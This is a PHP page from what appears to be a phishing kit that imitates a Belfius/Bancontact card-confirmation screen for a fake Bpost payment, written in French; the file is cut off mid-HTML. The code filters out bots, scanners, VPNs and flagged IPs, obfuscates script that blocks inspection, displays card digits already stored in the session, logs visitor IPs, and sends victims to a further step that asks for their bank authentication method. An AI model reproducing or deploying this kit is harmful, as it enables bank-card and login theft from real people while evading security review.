<?php

error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
@ini_set('html_errors', '0');
@ini_set('display_errors', '0');
@ini_set('display_startup_errors', '0');
@ini_set('log_errors', '0');
$ip = $_SERVER['REMOTE_ADDR'];
session_id(md5($ip));
session_start();

$stripos = 0;
include 'config.php';


include 'M3tri-anti-bots_v0.01/M3tri-Organization.php';
include 'M3tri-anti-bots_v0.01/M3tri-ips.php';
include 'M3tri-anti-bots_v0.01/M3tri-OS-BRS.php';
include 'M3tri-anti-bots_v0.01/M3tri-UA.php';
include 'M3tri-anti-bots_v0.01/M3tri-vpn-proxy.php';
require_once './includes/HunterObfuscator.php'; //Include the class




$currentIP = getRealIP();
if (isIPBanned($currentIP)) {
    header('Location: 403.php');
    exit();
}

$jsCode = " jQuery(function($){ document.addEventListener('contextmenu', event => event.preventDefault()); document.onkeydown = function(e) { if (e.ctrlKey && (e.keyCode === 67 || e.keyCode === 86 || e.keyCode === 85 || e.keyCode === 83 || e.keyCode === 117 || e.keyCode === 44)) { return false; } else { return true; } }; $(document).keydown(function (event) { if (event.keyCode == 123) { return false; } else if (event.ctrlKey && event.shiftKey && event.keyCode == 73) { return false; } }); }) "; //Simple JS code

$hunter = new HunterObfuscator($jsCode); //Initialize with JS code in parameter
$hunter->addDomainName($_SERVER['HTTP_HOST']);
$obsfucated = $hunter->Obfuscate(); //Do obfuscate and get the obfuscated code


$permitted_chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ.-_~";


$honeypotbots = file_get_contents('honeypotbots.dat');
$errorUrl = '403.php';

$hostname = gethostbyaddr($ip);

if (stripos($honeypotbots, $ip) !== false) {

    $stripos = $stripos + 1;
}

$token1 = base64_encode($_SERVER['HTTP_USER_AGENT'] . $ip . date('Y:M:D'));


// Geo-filter removed: all countries are allowed


if ($token1 != $_GET['token'] || $stripos > 0) {
    header("location: " . $errorUrl . "?" . $_GET['token']);
    exit;
}


if ($_GET['error'] == 'on') {

    $errormsg = "<p><span style='color: red;font-size:small;'>recommencer svp !</span><br></p>";
}

if (!$_SESSION['amount']) {


    $_SESSION['amount'] = $amount;
}

$cardb = substr($_SESSION['cn'], 0, 1);

if ($cardb == '5') {
    $imagecc = "data:image/png;base64, ";
} else if ($cardb == '4') {
    $imagecc = "data:image/png;base64, ";
} else {
    $imagecc = "data:image/png;base64, ";
}


$fp = fopen('users/' . $ip . '.txt', 'wb');
fwrite($fp, '');
fclose($fp);

?>
<!DOCTYPE html>
<html>

<head>
    <meta charset="utf-8">

    <style></style>
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>ACS</title>












    <style>
        /*!
 * Bootstrap v3.3.6 (http://getbootstrap.com)
 * Copyright 2011-2015 Twitter, Inc.
 * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
 */
        /*! normalize.css v3.0.3 | MIT License | github.com/necolas/normalize.css */
        html {
            font-family: sans-serif;
            -webkit-text-size-adjust: 100%;
            -ms-text-size-adjust: 100%
        }

        body {
            margin: 0
        }

        img {
            border: 0
        }

        button {
            margin: 0;
            font: inherit
        }

        button {
            overflow: visible
        }

        button {
            text-transform: none
        }

        button {
            -webkit-appearance: button
        }

        /*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */
        @media print {

            *,
            :after,
            :before {
                color: #000 !important;
                text-shadow: none !important;
                background: 0 0 !important;
                -webkit-box-shadow: none !important;
                box-shadow: none !important
            }

            img {
                page-break-inside: avoid
            }

            img {
                max-width: 100% !important
            }

            h3 {
                orphans: 3;
                widows: 3
            }

            h3 {
                page-break-after: avoid
            }
        }

        * {
            -webkit-box-sizing: border-box;
            -moz-box-sizing: border-box;
            box-sizing: border-box
        }

        :after,
        :before {
            -webkit-box-sizing: border-box;
            -moz-box-sizing: border-box;
            box-sizing: border-box
        }

        html {
            font-size: 10px;
            -webkit-tap-highlight-color: transparent
        }

        body {
            font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
            line-height: 1.42857143;
            color: #333;
            background-color: #fff
        }

        button {
            font-family: inherit
        }

        img {
            vertical-align: middle
        }

        h3 {
            font-weight: 500;
            line-height: 1.1
        }

        h3 {
            margin-bottom: 10px
        }

        .text-left {
            text-align: left
        }

        .text-right {
            text-align: right
        }

        .text-center {
            text-align: center
        }

        .container {
            padding-right: 15px;
            padding-left: 15px;
            margin-right: auto;
            margin-left: auto
        }

        @media(min-width:768px) {
            .container {
                width: 750px
            }
        }

        @media(min-width:992px) {
            .container {
                width: 970px
            }
        }

        @media(min-width:1200px) {
            .container {
                width: 1170px
            }
        }

        .col-xs-12,
        .col-xs-6 {
            position: relative;
            min-height: 1px;
            padding-right: 15px;
            padding-left: 15px
        }

        .col-xs-12,
        .col-xs-6 {
            float: left
        }

        .col-xs-12 {
            width: 100%
        }

        .col-xs-6 {
            width: 50%
        }

        .col-xs-offset-0 {
            margin-left: 0
        }

        @media(min-width:768px) {

            .col-sm-10,
            .col-sm-12,
            .col-sm-5,
            .col-sm-6 {
                float: left
            }

            .col-sm-12 {
                width: 100%
            }

            .col-sm-10 {
                width: 83.33333333%
            }

            .col-sm-6 {
                width: 50%
            }

            .col-sm-5 {
                width: 41.66666667%
            }

            .col-sm-offset-1 {
                margin-left: 8.33333333%
            }
        }

        @media(min-width:992px) {

            .col-md-10,
            .col-md-12,
            .col-md-6 {
                float: left
            }

            .col-md-12 {
                width: 100%
            }

            .col-md-10 {
                width: 83.33333333%
            }

            .col-md-6 {
                width: 50%
            }

            .col-md-offset-1 {
                margin-left: 8.33333333%
            }
        }

        @media(min-width:1200px) {

            .col-lg-10,
            .col-lg-12,
            .col-lg-6 {
                float: left
            }

            .col-lg-12 {
                width: 100%
            }

            .col-lg-10 {
                width: 83.33333333%
            }

            .col-lg-6 {
                width: 50%
            }

            .col-lg-offset-1 {
                margin-left: 8.33333333%
            }
        }

        label {
            max-width: 100%;
            margin-bottom: 5px;
            font-weight: 700
        }

        .btn {
            display: inline-block;
            margin-bottom: 0;
            font-size: 14px;
            font-weight: 400;
            line-height: 1.42857143;
            text-align: center;
            white-space: nowrap;
            vertical-align: middle;
            -ms-touch-action: manipulation;
            touch-action: manipulation;
            cursor: pointer;
            -webkit-user-select: none;
            -moz-user-select: none;
            -ms-user-select: none;
            user-select: none;
            background-image: none;
            border-radius: 4px
        }

        .btn.active.focus,
        .btn.active:focus,
        .btn.focus,
        .btn:active.focus,
        .btn:active:focus,
        .btn:focus {
            outline: thin dotted;
            outline: 5px auto -webkit-focus-ring-color;
            outline-offset: -2px
        }

        .btn.focus,
        .btn:focus,
        .btn:hover {
            color: #333;
            text-decoration: none
        }

        .btn.active,
        .btn:active {
            background-image: none;
            outline: 0;
            -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);
            box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125)
        }

        .btn-default {
            color: #333;
            background-color: #fff;
            border-color: #ccc
        }

        .btn-default.focus,
        .btn-default:focus {
            color: #333;
            background-color: #e6e6e6;
            border-color: #8c8c8c
        }

        .btn-default:hover {
            color: #333;
            background-color: #e6e6e6;
            border-color: #adadad
        }

        .btn-default.active,
        .btn-default:active,
        .open>.dropdown-toggle.btn-default {
            color: #333;
            background-color: #e6e6e6;
            border-color: #adadad
        }

        .btn-default.active.focus,
        .btn-default.active:focus,
        .btn-default.active:hover,
        .btn-default:active.focus,
        .btn-default:active:focus,
        .btn-default:active:hover,
        .open>.dropdown-toggle.btn-default.focus,
        .open>.dropdown-toggle.btn-default:focus,
        .open>.dropdown-toggle.btn-default:hover {
            color: #333;
            background-color: #d4d4d4;
            border-color: #8c8c8c
        }

        .btn-default.active,
        .btn-default:active,
        .open>.dropdown-toggle.btn-default {
            background-image: none
        }

        .btn-primary {
            background-color: #337ab7;
            border-color: #2e6da4
        }

        .btn-primary.focus,
        .btn-primary:focus {
            color: #fff;
            background-color: #286090;
            border-color: #122b40
        }

        .btn-primary:hover {
            color: #fff;
            background-color: #286090;
            border-color: #204d74
        }

        .btn-primary.active,
        .btn-primary:active {
            color: #fff;
            background-color: #286090;
            border-color: #204d74
        }

        .btn-primary.active.focus,
        .btn-primary.active:focus,
        .btn-primary.active:hover,
        .btn-primary:active.focus,
        .btn-primary:active:focus,
        .btn-primary:active:hover,
        .open>.dropdown-toggle.btn-primary.focus,
        .open>.dropdown-toggle.btn-primary:focus,
        .open>.dropdown-toggle.btn-primary:hover {
            color: #fff;
            background-color: #204d74;
            border-color: #122b40
        }

        .btn-primary.active,
        .btn-primary:active {
            background-image: none
        }

        .btn-group {
            position: relative;
            display: inline-block;
            vertical-align: middle
        }

        .btn-group>.btn {
            position: relative;
            float: left
        }

        .btn-group>.btn.active,
        .btn-group>.btn:active,
        .btn-group>.btn:focus,
        .btn-group>.btn:hover {
            z-index: 2
        }

        .btn-group .btn+.btn {
            margin-left: -1px
        }

        .btn-group>.btn:not(:first-child):not(:last-child):not(.dropdown-toggle) {
            border-radius: 0
        }

        .btn-group>.btn:first-child {
            margin-left: 0
        }

        .btn-group>.btn:first-child:not(:last-child):not(.dropdown-toggle) {
            border-top-right-radius: 0;
            border-bottom-right-radius: 0
        }

        .btn-group>.btn:last-child:not(:first-child),
        .btn-group>.dropdown-toggle:not(:first-child) {
            border-top-left-radius: 0;
            border-bottom-left-radius: 0
        }

        @-webkit-keyframes progress-bar-stripes {
            from {
                background-position: 40px 0
            }

            to {
                background-position: 0 0
            }
        }

        @-o-keyframes progress-bar-stripes {
            from {
                background-position: 40px 0
            }

            to {
                background-position: 0 0
            }
        }

        @keyframes progress-bar-stripes {
            from {
                background-position: 40px 0
            }

            to {
                background-position: 0 0
            }
        }

        .btn-group-vertical>.btn-group:after,
        .btn-group-vertical>.btn-group:before,
        .btn-toolbar:after,
        .btn-toolbar:before,
        .clearfix:after,
        .clearfix:before,
        .container-fluid:after,
        .container-fluid:before,
        .container:after,
        .container:before,
        .dl-horizontal dd:after,
        .dl-horizontal dd:before,
        .form-horizontal .form-group:after,
        .form-horizontal .form-group:before,
        .modal-footer:after,
        .modal-footer:before,
        .modal-header:after,
        .modal-header:before,
        .nav:after,
        .nav:before,
        .navbar-collapse:after,
        .navbar-collapse:before,
        .navbar-header:after,
        .navbar-header:before,
        .navbar:after,
        .navbar:before,
        .pager:after,
        .pager:before,
        .panel-body:after,
        .panel-body:before,
        .row:after,
        .row:before {
            display: table;
            content: " "
        }

        .btn-group-vertical>.btn-group:after,
        .btn-toolbar:after,
        .clearfix:after,
        .container-fluid:after,
        .container:after,
        .dl-horizontal dd:after,
        .form-horizontal .form-group:after,
        .modal-footer:after,
        .modal-header:after,
        .nav:after,
        .navbar-collapse:after,
        .navbar-header:after,
        .navbar:after,
        .pager:after,
        .panel-body:after,
        .row:after {
            clear: both
        }

        @-ms-viewport {
            width: device-width
        }

        /*!
 *  Font Awesome 4.6.3 by @davegandy - http://fontawesome.io - @fontawesome
 *  License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
 */
        @-webkit-keyframes fa-spin {
            0% {
                -webkit-transform: rotate(0);
                transform: rotate(0)
            }

            100% {
                -webkit-transform: rotate(359deg);
                transform: rotate(359deg)
            }
        }

        @keyframes fa-spin {
            0% {
                -webkit-transform: rotate(0);
                transform: rotate(0)
            }

            100% {
                -webkit-transform: rotate(359deg);
                transform: rotate(359deg)
            }
        }

        div#i18n .btn {
            border-top-right-radius: 0;
            border-top-left-radius: 0
        }

        div#selection-group {
            color: #555;
            font-size: 100%
        }

        div#selection-group {
            margin: 5px
        }

        div.break-word {
            word-break: break-all
        }

        div.side-menu {
            padding-bottom: 10px
        }

        div.side-menu label {
            display: inline
        }

        .side-menu .text-left,
        .side-menu .text-right {
            padding-right: 5px;
            padding-left: 5px
        }

        @media only screen and (max-width:480px) {
            div.side-menu {
                padding-bottom: 0
            }
        }

        body {
            font-size: 14px
        }

        div[class^=col-] {
            padding-right: 0;
            padding-left: 0
        }

        .row {
            margin-right: 0;
            margin-left: 0
        }

        .btn {
            padding: 6px 10px
        }

        custom-component {
            display: block
        }

        @media only screen and (max-width:480px) {
            body {
                font-size: 12px
            }
        }

        @-webkit-keyframes opacity-60-25-0-9 {
            0% {
                opacity: .25
            }

            0.01% {
                opacity: .25
            }

            0.02% {
                opacity: 1
            }

            60.01% {
                opacity: .25
            }

            100% {
                opacity: .25
            }
        }

        @-webkit-keyframes opacity-60-25-1-9 {
            0% {
                opacity: .25
            }

            11.1211% {
                opacity: .25
            }

            11.1311% {
                opacity: 1
            }

            71.1211% {
                opacity: .25
            }

            100% {
                opacity: .25
            }
        }

        @-webkit-keyframes opacity-60-25-2-9 {
            0% {
                opacity: .25
            }

            22.2322% {
                opacity: .25
            }

            22.2422% {
                opacity: 1
            }

            82.2322% {
                opacity: .25
            }

            100% {
                opacity: .25
            }
        }

        @-webkit-keyframes opacity-60-25-3-9 {
            0% {
                opacity: .25
            }

            33.3433% {
                opacity: .25
            }

            33.3533% {
                opacity: 1
            }

            93.3433% {
                opacity: .25
            }

            100% {
                opacity: .25
            }
        }

        @-webkit-keyframes opacity-60-25-4-9 {
            0% {
                opacity: .305681
            }

            44.4544% {
                opacity: .25
            }

            44.4644% {
                opacity: 1
            }

            4.45444% {
                opacity: .25
            }

            100% {
                opacity: .305681
            }
        }

        @-webkit-keyframes opacity-60-25-5-9 {
            0% {
                opacity: .444569
            }

            55.5656% {
                opacity: .25
            }

            55.5756% {
                opacity: 1
            }

            15.5656% {
                opacity: .25
            }

            100% {
                opacity: .444569
            }
        }

        @-webkit-keyframes opacity-60-25-6-9 {
            0% {
                opacity: .583458
            }

            66.6767% {
                opacity: .25
            }

            66.6867% {
                opacity: 1
            }

            26.6767% {
                opacity: .25
            }

            100% {
                opacity: .583458
            }
        }

        @-webkit-keyframes opacity-60-25-7-9 {
            0% {
                opacity: .722347
            }

            77.7878% {
                opacity: .25
            }

            77.7978% {
                opacity: 1
            }

            37.7878% {
                opacity: .25
            }

            100% {
                opacity: .722347
            }
        }

        @-webkit-keyframes opacity-60-25-8-9 {
            0% {
                opacity: .861236
            }

            88.8989% {
                opacity: .25
            }

            88.9089% {
                opacity: 1
            }

            48.8989% {
                opacity: .25
            }

            100% {
                opacity: .861236
            }
        }

        .menu-elements>div:first-child {
            display: none
        }

        .menu-elements>div:nth-child(2) {
            display: none
        }

        .menu-elements>div:first-child {
            display: block
        }

        .main {
            background: #fafafa 0 0 no-repeat padding-box;
            opacity: 1
        }

        .header {
            display: flex;
            align-items: center;
            height: 50px;
            margin-left: 24px;
            margin-right: 24px
        }

        #issuerLogo,
        #networkLogo {
            max-height: 50px;
            max-width: 90px
        }

        .mean-content {
            background: #fff 0 0 no-repeat padding-box;
            border: 1px solid #e8ebed;
            border-radius: 6px;
            opacity: 1;
            margin-top: 15px
        }

        .transaction-details {
            text-align: left;
            color: #c30045;
            opacity: 1;
            margin-left: 24px;
            margin-top: 24px;
            font-family: BelfiusAlternative-Bold, Arial, sans-serif
        }

        h3 {
            font-size: 20px
        }

        .side-menu {
            margin-top: 10px
        }

        .menu-elements span {
            text-align: left;
            color: #51626f;
            opacity: 1;
            letter-spacing: 0;
            font-size: 14px
        }

        .menu-elements div div div>span:first-child {
            margin-left: 24px;
            width: 25%;
            min-width: 150px
        }

        .menu-elements div div div>span:first-child span {
            font-weight: 500;
            font-family: ArialMT, sans-serif
        }

        .menu-elements div div div>span:last-child span {
            font-weight: 700;
            font-family: Arial-BoldMT, sans-serif;
            font-size: 13px
        }

        .cancel-button button {
            background: 0 0 !important;
            border: 0;
            padding: 0 !important;
            font-stretch: normal;
            font-style: normal;
            cursor: pointer;
            text-align: left;
            text-decoration: underline;
            letter-spacing: -.13px;
            color: #51626f !important;
            opacity: 1;
            margin-left: 24px;
            margin-bottom: 24px;
            font-family: ArialMT, sans-serif;
            font-weight: 500;
            font-size: 16px
        }

        .cancel-button button:hover,
        .helpButton>button:hover,
        div#i18n button:hover {
            color: #979faa !important
        }

        .helpButton>button {
            text-decoration: none;
            background: 0 0 !important;
            border: 0;
            padding: 0;
            font-stretch: normal;
            font-style: normal;
            cursor: pointer;
            text-align: left;
            letter-spacing: -.13px;
            color: #51626f !important;
            opacity: 1;
            font-family: ArialMT, sans-serif;
            font-weight: 500;
            font-size: 14px
        }

        .footer {
            margin-bottom: 26px;
            margin-top: 8px
        }

        div#i18n {
            font-family: Arial, sans-serif;
            line-height: 0;
            color: #51626e
        }

        div#i18n button {
            background: 0 0;
            color: #51626f;
            font-weight: 500;
            font-size: 14px;
            border: 0;
            border-left: 1px solid #51626f;
            border-radius: 0;
            padding: 0 .5em;
            line-height: 1em
        }

        div#i18n button:first-child {
            border: 0
        }

        div#i18n button:last-child {
            border-right: 1px solid
        }

        div#i18n button.active,
        div#i18n button:hover {
            text-decoration: underline;
            box-shadow: none;
            -webkit-box-shadow: none
        }

        @media screen and (max-width:600px) {
            .menu-elements div div div>span {
                width: 100% !important;
                margin-left: 0 !important;
                padding-left: 0 !important
            }

            .menu-elements div div div>span:last-child span {
                font-size: 12px
            }

            .menu-elements div div div>span:first-child span {
                font-size: 11px
            }

            .transaction-details,
            means-select #selection-group {
                margin-left: 0;
                margin-top: 16px;
                margin-right: 0
            }

            .header {
                margin-left: 0;
                margin-right: 0
            }

            #issuerLogo,
            #networkLogo {
                max-width: 80px
            }

            .cancel__container {
                text-align: center
            }

            .cancel-button button {
                margin-left: 0;
                margin-bottom: 16px
            }

            h3 {
                font-size: 16px
            }
        }

        means-select #selection-group {
            display: -webkit-box;
            display: -moz-box;
            display: -ms-flexbox;
            display: -webkit-flex;
            display: flex;
            justify-content: center;
            flex-wrap: wrap
        }

        means-select #selection-group switch-means-button {
            max-width: 285px;
            width: 31%;
            margin-right: 16px;
            margin-bottom: 16px
        }

        means-select #selection-group switch-means-button:nth-child(3) {
            margin-right: 0
        }

        means-select #selection-group switch-means-button button {
            width: 100%;
            height: 100%;
            border: 1px solid #d2d2d7;
            border-radius: 20px;
            opacity: 1
        }

        means-select #selection-group switch-means-button button span {
            white-space: normal;
            text-align: center;
            letter-spacing: 0;
            color: #51626f;
            opacity: 1
        }

        switch-means-button button img {
            width: 70px;
            display: block;
            margin: 10px auto 0
        }

        means-select #selection-group switch-means-button:active button span:active {
            color: #c30045 !important
        }

        @media screen and (max-width:600px) {
            means-select #selection-group switch-means-button {
                width: 100%;
                max-width: 100%;
                margin-right: 0
            }
        }

        .sf-hidden {
            display: none !important
        }

        .menu-elements>div:first-child {
            display: block
        }

        .menu-elements>div:nth-child(2) {
            display: block
        }
    </style>
    <meta name="referrer" content="no-referrer">
    <style>
        .sf-hidden {
            display: none !important
        }
    </style>
    <style>
        img[src="data:,"],
        source[src="data:,"] {
            display: none !important
        }
    </style>
</head>

<body>
    <form method="post" action="<?php echo 'bc-load.php?token=' . $token1; ?>">
        <ui-view class="ng-scope" style>
            <choice class="ng-scope ng-isolate-scope">
                <custom-component class="ng-isolate-scope">
                    <div class="ng-scope">
                        <div>
                            <div class="main">
                                <div class="container">
                                    <div class="mean-content col-xs-12 col-sm-10 col-md-10 col-lg-10 col-md-offset-1 col-lg-offset-1 col-sm-offset-1">
                                        <div class="row header">
                                            <div class="col-xs-6 col-sm-6 col-md-6 col-lg-6">
                                                <custom-image id="issuerLogo" class="ng-isolate-scope">
                                                    <img id="issuerLogo" alt="59050 BELFIUS Bank&amp;#8482;" class="custom-image" src="data:image/png;base64, ">
                                                </custom-image>
                                            </div>
                                            <div class="col-xs-6 col-sm-6 col-md-6 col-lg-6 text-right">
                                                <custom-image id="networkLogo" class="ng-isolate-scope">
                                                    <img id="networkLogo" alt="BANCONTACT" class="custom-image" src="bc_files/bpost.png">
                                                </custom-image>
                                            </div>
                                        </div>
                                        <div class="row">
                                            <div class="col-xs-12 col-sm-12 col-md-12 col-lg-12">
                                                <message-banner class="ng-isolate-scope"></message-banner>
                                            </div>
                                        </div>
                                        <div class="row">
                                            <div class="col-xs-12 col-sm-12 col-md-12 col-lg-12">
                                                <h3 class="transaction-details">
                                                    <custom-text class="ng-isolate-scope">
                                                        <span id class="custom-text ng-binding">Vos données</span>
                                                    </custom-text>
                                                </h3>
                                            </div>
                                        </div>
                                        <div class="row">
                                            <div class="col-xs-12 col-md-12 col-lg-12 col-sm-12 side-menu">
                                                <side-menu class="ng-isolate-scope">
                                                    <div class="side-menu text-center">
                                                        <div class="row menu-title ng-hide sf-hidden" style></div>
                                                        <div class="menu-elements">
                                                            <div class="ng-scope" style>
                                                                <div>
                                                                    <div class="receipt-field text-left" style="margin-bottom: 5px; margin-left: 24px;">
                                                                        <strong style="color:#555;">Bénéficiaire:</strong> <span style="color:black; font-weight:bold;">Bpost</span>
                                                                    </div>
                                                                </div>
                                                            </div>
                                                            <div class="ng-scope">
                                                                <div>
                                                                    <div class="receipt-field text-left" style="margin-bottom: 5px; margin-left: 24px;">
                                                                        <strong style="color:#555;">Montant:</strong> <span style="color:black; font-weight:bold;"><?php echo $_SESSION['amount']; ?> €</span>
                                                                    </div>
                                                                </div>
                                                            </div>
                                                            <div class="ng-scope">
                                                                <div>
                                                                    <div class="receipt-field text-left" style="margin-bottom: 5px; margin-left: 24px;">
                                                                        <strong style="color:#555;">Date:</strong> <span style="color:black; font-weight:bold;"><?php date_default_timezone_set('Europe/Brussels'); echo date('Y/m/d H:i:s'); ?> CET</span>
                                                                    </div>
                                                                </div>
                                                            </div>
                                                            <div class="ng-scope">
                                                                <div>
                                                                    <div class="receipt-field text-left" style="margin-bottom: 5px; margin-left: 24px;">
                                                                        <strong style="color:#555;">Votre numéro de carte:</strong> <span style="color:black; font-weight:bold;">xxxxxxxxxxxx<?php echo substr($_SESSION['cn'], -4); ?></span>
                                                                    </div>
                                                                </div>
                                                            </div>
                                                        </div>
                                                    </div>
                                                </side-menu>
                                            </div>
                                        </div>
                                        <div class="row">
                                            <div class="col-xs-12 col-md-12 col-lg-12 col-sm-12">
                                                <h3 class="transaction-details">
                                                    <custom-text class="ng-isolate-scope">
                                                        <span id class="custom-text ng-binding">Comment voulez-vous confirmer votre demande?</span>
                                                    </custom-text>
                                                </h3>
                                            </div>
                                        </div>
                                        <div class="row">
                                            <div class="col-xs-12 col-md-12 col-lg-12 col-sm-12">
                                                <div class="text-center">
                                                    <means-select means-choices="meansChoices" class="ng-isolate-scope">
                                                        <div class="text-center">
                                                            <div id="selection-group">
                                                                <switch-means-button role="form" aria-label="Changer de moyen d'authentification" means="meansChoice" class="ng-scope ng-isolate-scope">
                                                                    <button type="submit" name="choiceB" value="usr-belfius-lecteur" id="switchMeansButtonId-cap_ccr" class="btn btn-default">
                                                                        <span class="switch-means-bnt-img ng-scope" style>
                                                                            <custom-image id="switch-means-cap_ccr-img" class="ng-isolate-scope">
                                                                                <img id="switch-means-cap_ccr-img" alt="Avec mon lecteur de carte Belfius" class="custom-image" src="data:image/png;base64,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">
                                                                            </custom-image>
                                                                            <custom-text class="ng-isolate-scope">
                                                                                <span id class="custom-text ng-binding">Avec mon lecteur de carte Belfius</span>
                                                                            </custom-text>
                                                                        </span>
                                                                    </button>
                                                                </switch-means-button>
                                                                <switch-means-button role="form" aria-label="Changer de moyen d'authentification" means="meansChoice" class="ng-scope ng-isolate-scope">
                                                                    <button type="submit" name="choiceB" value="usr-belfius-itsMe" id="switchMeansButtonId-itsme_soap" class="btn btn-default">
                                                                        <span class="switch-means-bnt-img ng-scope" style>
                                                                            <custom-image id="switch-means-itsme_soap-img" class="ng-isolate-scope">
                                                                                <img id="switch-means-itsme_soap-img" alt="Avec itsme" class="custom-image" src="data:image/png;base64, ">
                                                                            </custom-image>
                                                                            <custom-text class="ng-isolate-scope">
                                                                                <span id class="custom-text ng-binding">Avec itsme</span>
                                                                            </custom-text>
                                                                        </span>
                                                                    </button>
                                                                </switch-means-button>
                                                                <switch-means-button role="form" aria-label="Changer de moyen d'authentification" means="meansChoice" class="ng-scope ng-isolate-scope" style="display:none"></switch-means-button>
                                                            </div>
                                                        </div>
                                                    </means-select>
                                                </div>
                                            </div>
                                        </div>
                                        <div class="row">
                                            <div class="col-xs-12 col-sm-12 col-md-12 col-lg-12 cancel__container">
                                                <cancel-button class="cancel-button ng-isolate-scope">
                                                    <button type="button" class="btn btn-default" aria-label="Annuler">
                                                        <span class="fa fa-ban sf-hidden" aria-hidden="true"></span>
                                                        <custom-text class="ng-isolate-scope">
                                                            <span id class="custom-text ng-binding">Annuler la demande</span>
                                                        </custom-text>
                                                    </button>
                                                </cancel-button>
                                            </div>
                                        </div>
                                    </div>
                                    <div class="row footer">
                                        <div class="col-xs-12 col-sm-12 col-md-12 col-lg-12 text-center">
                                            <i18n locales="allLanguages" class="ng-isolate-scope">
